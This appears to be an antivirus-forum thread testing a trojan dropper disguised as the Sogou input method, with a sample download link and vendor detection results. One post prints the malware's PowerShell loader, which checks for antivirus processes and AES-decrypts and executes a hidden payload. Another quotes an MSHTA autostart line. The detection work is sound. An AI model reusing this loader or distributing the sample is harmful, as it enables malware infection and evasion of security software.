FakeApp1x（搜狗输入法）

WGC_ZY

https://wormhole.app/KB6OPA#QtgkfrVcQoaG14j16R7VNg

VT(8/70): https://www.virustotal.com/gui/f ... 7053f8fd8?nocache=1

实体机的卡巴不断弹出拦截访问恶意网址

莒县小哥

成顔

BEST 过右键，双击后检测到toolsps.exe但不杀，期间疯狂拦截网址。我还要云台终止。（附toolsps.exe命令行

1. "C:\escsvc\toolsps.exe" if (Get-Process -Name '360Tray','360sd','HipsDaemon','kxetray','QQPCTray','RavMonD','KVMonXP' -ErrorAction SilentlyContinue) { $AES=New-Object System.Security.Cryptography.AesManaged;$AES.Mode=[System.Security.Cryptography.CipherMode]::CBC;$AES.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$AES.KeySize=256;$AES.BlockSize=128;$Salt=[System.Text.Encoding]::UTF8.GetBytes('Salt1234567890123');$DerivedBytes=New-Object System.Security.Cryptography.Rfc2898DeriveBytes('AdminAAA...',$Salt,1000);$AES.Key=$DerivedBytes.GetBytes(32);$AES.IV=$DerivedBytes.GetBytes(16);$Decryptor=$AES.CreateDecryptor();$EncryptedBytes=[Convert]::FromBase64String((Get-Content -Path 'c:\\escsvc\\4.txt' -Raw -Encoding UTF8));$DecryptedBytes=$Decryptor.TransformFinalBlock($EncryptedBytes,0,$EncryptedBytes.Length);$DecryptedContent=[System.Text.Encoding]::UTF8.GetString($DecryptedBytes);Invoke-Expression $DecryptedContent } else { Start-Process 'c:\\escsvc\\5.exe';$AES=New-Object System.Security.Cryptography.AesManaged;$AES.Mode=[System.Security.Cryptography.CipherMode]::CBC;$AES.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$AES.KeySize=256;$AES.BlockSize=128;$Salt=[System.Text.Encoding]::UTF8.GetBytes('Salt1234567890123');$DerivedBytes=New-Object System.Security.Cryptography.Rfc2898DeriveBytes('AdminAAA...',$Salt,1000);$AES.Key=$DerivedBytes.GetBytes(32);$AES.IV=$DerivedBytes.GetBytes(16);$Decryptor=$AES.CreateDecryptor();$EncryptedBytes=[Convert]::FromBase64String((Get-Content -Path 'c:\\escsvc\\3.txt' -Raw -Encoding UTF8));$DecryptedBytes=$Decryptor.TransformFinalBlock($EncryptedBytes,0,$EncryptedBytes.Length);$DecryptedContent=[System.Text.Encoding]::UTF8.GetString($DecryptedBytes);Invoke-Expression $DecryptedContent }

复制代码

PhozeAMTB

WD

Alexander1026

类型：
HEUR/QVM42.3.6C39.Malware.Gen

描述：
HEUR/QVM42.3.6C39.Malware.Gen

扫描引擎：
360云查杀引擎


文件指纹(MD5)：
4e1abcbcdf853cf92ecb3d1cf93d7d84

Rukia

我印象中这类样本加的自启动方式(如果有的话)是
C:\escsvc\defaultpack.exe /C:"MSHTA C:\escsvc\escsvc.exe"

WGC_ZY

Rukia 发表于 2026-2-15 22:17
我印象中这类样本加的自启动方式(如果有的话)是
C:\escsvc\defaultpack.exe /C:"MSHTA C:\escsvc\escsvc.e ...

应该和这个差不多：https://www.huorong.cn/document/tech/vir_report/1844

c199529

腾讯电脑管家18
ver:20260216

---------------------
2026-2-16 01:27:03 MD5:49f7140a9fd46044b2258a235c84840f
搜狗拼音输入法.exe [Win32.Trojan-Dropper.Agent.Bzlw]


---------------------